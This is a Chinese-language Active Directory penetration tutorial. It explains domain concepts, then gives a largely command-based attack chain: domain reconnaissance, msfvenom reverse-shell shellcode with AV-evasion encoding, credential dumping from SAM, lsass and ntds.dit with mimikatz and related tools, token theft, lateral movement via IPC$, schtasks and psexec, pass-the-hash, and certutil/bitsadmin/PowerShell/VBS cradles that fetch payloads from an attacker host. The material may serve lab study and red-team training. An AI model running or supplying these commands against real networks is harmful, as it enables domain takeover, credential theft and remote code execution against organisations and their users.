1.初识域环境
什么是域
域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个*计算机集群上的*数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 域(Domain)是将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域。
域控
在一台机器上安装上活动目录(Active Directory)以后,这个机器就被成为域控。 在一个域中,可能存在多个域控,这些域控不分主域控制器与备份域控制器,每个域控制器充当的是一样的角色,比如你有三个域控制器,你可以在任何一个域控制器上对用户的权限进行修改,你的修改将被复制到其他两个域控制器中,这样,如果一个域控制器发生了故障,只要其他的域控还能正常工作,整个域还是可以正常运行。
活动目录(Active Directory)
Active Directory存储了有关网络对象的信息,并且让管理员和用户能够轻松查找和使用这些信息,这些对象可以是用户、组群,计算机,控制站、邮件,配置文件,组织单元,树洗等等。
域用户
在域环境下使用的用户,其用户名和密码需要到域控制器上进行验证,验证通过后域用户可以在域内的任何一台机器上进行登录。但是域用户只是一个普通用户,只能登录到域内机器上进行查看,不能做任何的修改。
域管
域管理员可以登录到域控制器上,对一切权限进行控制,比如对域内任何一台机器的权限进行修改,域管理员有权对域内所有机器下发任何任务或者策略,它对域具有绝对的控制权。
组(gurup)
公司内很多的员工的权限都是相同的,这是因为域管理员对域内的用户进行了分组,即将不同的用户放入不同的分组里,然后对组进行了权限设置,这样就避免了管理员需要对每个用户单独进行权限分配的麻烦。
信任域(trust)
在实际的情况下,在一个大公司下面又会有一些子公司,这样就造成了母公司一个域,子公司单独又有一个域的情况,那么怎么将母公司的域与子公司的域联系起来呢?我们可以在它们之间建立起一种信任(trust)的关系,如果母公司的域账户想要登录子公司的域中,那么子公司的域就要对母公司的域建立信任关系。当母公司的域账户想要登录到子公司的域中时,子公司的域由于信任母公司的域,所以子公司的域会听从母公司的域的域控制器的返回的access key。由于母公司的域对子公司的域没有建立信任关系,所以子公司的域账户是不能登录到母公司的域中的。
/domain_trusts 查看受信任的域列表,我们通常会利用域的信任关系进行域内横向渗透来扩大战果。
2.域信息收集
1.nltest信任域
nltest是2003之后的系统自带的工具,一般来说域控都搭建在主dns服务器上,因为他要进行域名解析。 我们可以nltest在工作组里进行查询,查询内网里是否存在域环境。
1.查找域控
ifconfig /all
2.查找信任域
nltest /domain_trusts /all_trusts /v /server:192.168.0.130
3.查找信任域所对应的IP
nltest /dsgetdc:XXXXXX /server:192.168.0.130
4.nltest命令:
参考:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731935(v=ws.11)
https://blog.csdn.net/weixin_34377065/article/details/85597188
2.域信息收集
1.csvde
csvde是windows server 2008的内置命令行工具,位于%windir%/system32目录下。
如果你安装了AD DS或Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用。
该工具适用于:
- windows server 2003
- windows server 2008
- windows server 2003 R2
- windows server 2008 R2
- windows server 2012
csvde -setspn payload -f C:\windows\temp\payload.csv
查看payload.csv
LDAP的存储规则(类似于一个数据库),用来存储域相关信息。
- 区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
- CN=Common Name 为用户名或服务器名,最长可以到80个字符,可以为中文;
- OU=Organization Unit为组织单元,最多可以有四级,每级最长32个字符,可以为中文;
- O=Organization 为组织名,可以3—64个字符长
- C=Country为国家名,可选,为2个字符长
2.setspn
SPN 官方名称为“服务主体名称”,本质上存储的是域内各种服务资源的对应关系。 如,对应的服务类型叫什么,机器名是什么,服务端口号是多少等等。 我们借助SPN可以快速定位当前目标域中所有存活的各类主机。
setspn -T payload -Q */*
setspn -T payload -Q */* | findstr SQL
通过上面收集到的主机信息,我们就可以使用域管理员账户去登录各目标系统进行查看。
3.dnsdump
https://github.com/dirkjanm/adidnsdump
dnsdump -u 域名\域用户 -p 域密码 域控服务器名
dnsdump -u payload\Micr067 -p admin@123 WIN-DC.payload.com
https://github.com/3gstudent/Homework-of-Powershell/blob/master/dns-dump.ps1
Powershell -ep bypass -f dns-dump.ps1 -zone payload.com
4.net
net user /domain 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net group "domain computers" /domain 查看域机器
net group /domain 查询域里面的组
5.net view
Net view 查看同一域内机器列表
net view \\ip 查看某IP共享
Net view \\GHQ 查看GHQ计算机的共享资源列表
net view /domain 查看内网存在多少个域
Net view /domain:XYZ 查看XYZ域中的机器列表
6.nbtscan
nbtscan.exe 192.168.0.1/24
DC 是域控服务器
3.域渗透思路
横向渗透---权限维持---抓取密码(获取域用户账号密码)---域信息收集---获取域管权限---拿下域控
1.弱口令爆破
超级弱口令工具 https://github.com/shack2/SNETCracker
2.dll加载shellcode免杀上线
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=1521 LHOST=192.168.245.129 -e x86/shikata_ga_nai -i 11 -f c -o shellcode.c
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.245.129
msf > set lport 1521
msf > set EnableStageEncoding true
msf > set StageEncoder x86/fnstenv_mov
msf > exploit
将c程序编译为dll文件,在目标机器上运行即可。
- mingw下载:https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe/
- MinGW安装和使用 https://www.cnblogs.com/qcssmd/p/5302052.html
3.注册表读取密码
// 获取注册表信息
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
reg save HKLM\SAM c:\windows\temp\Sam.hiv
// mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
5.Dump lsass进程内存获取hash
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
// 在mimikatz中运行,结果保存在日志里
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
6.LaZagne读取密码。
项目地址:https://github.com/AlessandroZ/LaZagne
LaZagne.exe all 执行所有模块,获取全部密码信息
7.利用token复制获取system权限
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
8.凭证窃取
通过tasklist /v查看进程用户,如果有域用户启的进程,则可以窃取域管凭证
- incognito下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
- 查看保存的凭证
incognito.exe list_tokens -u
- 窃取域管凭证
incognito.exe execute -c "payload\Administrator" cmd.exe
查看本地保存的凭证,可以看到有域管理员的凭证存在 成功窃取到域管理员的凭证,利用窃取的凭证我们可以查看域控上的保存的服务资源。
4.命令行渗透
- 远程登陆桌面增加暴露风险
- 目标管理员可能禁用对服务器远程登陆。
1.IPC$
建立ipc连接之后就可以访问目标机器的文件,可以进行上传、下载等操作,也可以在目标机器上运行命令。上传下载使用copy命令。
- 先建立IPC连接
net use \\192.168.245.130 /u:payload\administrator
- 复制文件到目标
copy shell.msi \\192.168.245.130\C$
- 复制目标机器文件到本地
copy \\192.168.52.2\C$\shell.msi
2.sc计划任务
• sc /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system
• sc /run /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码
• sc /F /delete /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码
schtasks /create /tn task1 /U payload\administrator /P qwer1234! /tr "c:\windows\system32\cmd.exe /c net user > c:\\windows\\temp\\1.txt" /sc ONSTART /s 192.168.245.130 /RU system
schtasks /Run /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234!
schtasks /F /delete /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234!
type \\192.168.245.130\C$\windows\temp\1.txt
3.psexe获取system权限
使用psexec之前先建立IPC连接
• net use \\192.168.245.130 /u:payload\administrator
• PsExec.exe \\192.168.245.130 -s cmd.exe -accepteula
• –accepteula 第一次运行会弹框,输入这个参数便不会弹框。
• -s 以 “nt authority\system” 权限运行远程进程
成功返回域控服务器system权限的命令行
4.hash传递
工具下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec.exe -hashes :用户Hash 域名/用户名@目标IP
psexec.exe -hashes :6912928308e3cda903e6d75bd6091a20 payload/administrator@192.168.245.130
5.windows命令行下载文件
- powershell
powershell (new-object Net.WebClient).DownloadFile(\'http://192.168.245.132/a.ps1\',\'D:\phpstudy\WWW\a.ps1\')
适用于windows 7以上版本。
- certutil
certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll msg.dll certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll delete
certutil适用于server 2003以上版本 详情参考: https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN
- Bitadmin
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.245.132/b.ps1" "D:\\phpstudy\\WWW\\b.ps1"
Bitadmin适用于windows 7以上版本。 详情参考: https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN
- vbs
第一种,直接echo输入download.vbs。echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://192.168.245.132/a.ps1",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种,保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://192.168.245.132/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
- Windows下载执行命令大全:
https://xz.aliyun.com/t/1654#toc-6
6.获取内网代理
内网有些资源需要指定的代理才能访问,我们可以通过读取注册表信息查找代理IP和端口信息。
注册表查看IE代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
7.windows API利用
- 工具使用前提先需要建立IPC连接
- NetGroupGetUsers.exe:查询目标服务器本地管理组的成员
- NetLocalGroupGetMembers.exe:查询域里的各个组里的成员,IP必须是域控IP,域用户随意
- NetUserEnum.exe:查询目标服务器所有用户,包括隐藏用户
8.导域hash
- windows的密码以hash的形式存储在SAM文件中的。
- 域里面存储信息的数据库文件:c:\windows\ntds\ntds.dit
- ntds.dit其实就是个数据库,微软本身就有一系列的文档化api能够操作这个数据库,链接是: https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx。
使用创建快照的方式导出ntds.dit文件 - 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
- 卸载快照
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 删除快照
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 获取key
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
使用NTDSDumpEx获取所有域用户的Hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx